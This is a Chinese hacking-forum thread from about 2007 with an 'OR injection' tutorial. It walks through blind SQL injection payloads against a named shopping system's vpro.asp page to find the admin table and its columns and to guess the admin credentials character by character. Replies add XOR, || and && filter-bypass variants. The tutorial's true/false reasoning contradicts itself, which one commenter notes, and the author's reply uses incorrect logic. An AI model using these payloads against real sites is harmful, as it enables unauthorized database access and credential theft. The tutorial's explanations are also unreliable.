发新话题
打印

[原创]假是真时真是假——or注入教程

[原创]假是真时真是假——or注入教程

文章作者: 落叶纷飞 & 华夏鸡头4 [S.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

注意:文章首发脚本安全小组论坛(www.Cnsst.Org),后由原创作者友情提交到邪恶八进制信息安全团队,转载请注明首发站点。

PS:很久的文章了,07年4月的,最近找到修改了下就发上来,文章有些乱,请大家不要见怪

  记得一年前火狐有一位朋友问,如果一个站过滤了and和“'”的话,改怎么注入啊?当时我随口说了句“or注入”,后来又一次看贴的时候,看到他问我该怎么利用呢?我就写了几个简单的语句给他,叫他自己变换,他很感激我,还说网上没有这种方法。我到网上查了查,还真没有or注入专题呢(or 1=1除外),呵呵,所以,一年后的今天,就有了这篇文章。
  我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点,我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面,我们再来测试or 1=2。返回的是正常的页面,说明猜测正确的时候是错误,猜测错误的时候是正常,这就是真正的“假是真时真是假”,比lake2大哥哥的IP欺骗更经典哦,呵呵。
  我们来构造测试语句:
复制内容到剪贴板
代码:
vpro.asp?id=1 or exists(select * from admin)
返回错误页面,说明存在admin表我们来换一个表试试!
复制内容到剪贴板
代码:
vpro.asp?id=1 or exists(select * from n0h4ck)
说明不存在n0h4ck这个表。
  我们继续来,构造语句
复制内容到剪贴板
代码:
vpro.asp?id=1 or exists(select admin from admin)
返回or 1=1的页面,说明admin表存在admin字段。
复制内容到剪贴板
代码:
vpro.asp?id=1 or exists(select padd from admin)
返回or 1=2的页面,说明admin表不存在padd字段。
  我们现在开始猜测数据了,
复制内容到剪贴板
代码:
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'
返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是“n”。
  我们再来
复制内容到剪贴板
代码:
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'
返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是“a”,我们第一个会想到什么呢?当然是“admin”啦。
  我们用left函数确定一下,
复制内容到剪贴板
代码:
vpro.asp?id=1 or (select left(admin,5) from admin)='admin'
猜测正确,的确是admin,好了,后面的话就不用我说了吧!
小鸡鸡重出江湖了~~!!

TOP

貌似注入工具都是这样猜表的

TOP

记得以前 骚总和我说过..
但是最近不见他了...
不过很多防注都过滤了 or
谁用了我的名字...我还得在我名字后加1才行....

TOP

具体数据库具体分析~ MYSQL POSTGERSQL系列的
还用XOR代替了.......
DNA编程--AI智能程式

TOP

xor能注入?

楼上的能详细点么?
小鸡鸡重出江湖了~~!!

TOP

一般现在的过滤程序要是只 针对 or and 做过滤的话~ 而且目标是 MSSQL ORACLE SYBASE DB2 INFORMIX....这类数据库的话! 是100%见效的!然而你就不能用sql来猜数据了
但是
换则 MYSQL POSTGERSQL (SQLite好像也支持XOR异或判断)
就可以通过 异或判断进行构造SQL
例如
SELECT * FROM MYSQL.USER WHERE  ID=123  XOR 1=2
这个是用符号代替 or and
SELECT * FROM MYSQL.USER WHERE  ID=123  || 1=2
SELECT * FROM MYSQL.USER WHERE  ID=123  && 1=2

多点看官方吧~~~然后再发多点技术含量高点的!.....
http://dev.mysql.com/doc/refman/5.0/en/logical-operators.html


PS:以上只针对猜解作出回复~~ 多语句执行,函数注入那些暂放一边
DNA编程--AI智能程式

TOP

首先BS一下自己.

我的理解是:很杂乱的几段or注射语句,欠缺条理,

实在有悖于标题的"教程"二字,建议LZ把该处的二字去掉为宜.

TOP

有一定局限性,前提是存在漏洞的地方进行SQL查询的字段类型必须为数值型,否则就必须用到 ' .
还有就是多看看SQL方面的书,会收获很多的,有时候你看着看着就会突然想到:如果我这样这样...如此如此..
很好.

TOP

引用:
引用第8楼雪祭于2007-08-11 20:24发表的 :
手动注入效率太低,准确性高,大型站点防注入过滤。教程?有点不清楚。
我只是做个示范,要有普通注入基础的人看啊~~
小鸡鸡重出江湖了~~!!

TOP

引用:
引用第7楼bink于2007-08-06 17:23发表的 :
有一定局限性,前提是存在漏洞的地方进行SQL查询的字段类型必须为数值型,否则就必须用到 ' .
还有就是多看看SQL方面的书,会收获很多的,有时候你看着看着就会突然想到:如果我这样这样...如此如此..
搜索型能突破'吗,请教下,或者看哪个实例比较好
晕啊晕

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

假是真时真是假——or注入教程这篇文章在黑手早就看过,当时把我绕了头昏,我问下:
  vpro.asp?id=1 or exists(select * from admin)

返回错误页面,说明存在admin表我们来换一个表试试!?????
既然id=1不存在。你又说存在admin表,那么exists(select * from admin)应该是正确的。那样应该
1(假)or exists(select * from admin)(真),那么应该返回正确才对,怎么说是返回错误呢?
文章中还有多次这样矛盾的话,不知道是我技术不好,还是文章作者自己被搞昏了,才以至于过几个月后被人又再次在黑手上说明or的注入,那篇的原理型才和我所想的一样,假是真时真是假——or注入教程这篇我实在搞不懂。。。。。。这个是我的个人见解,如有语言感觉有点冒犯你,那实在对不起,我说话只对文章技术本身,不对人的。。。

TOP

我木有说id=1不存在啊,id=1是存在的,真or 真=假,那他94假的鸟~~·
小鸡鸡重出江湖了~~!!

TOP

现在许多都过滤了Or注入,不过思路还是好的。

TOP

发新话题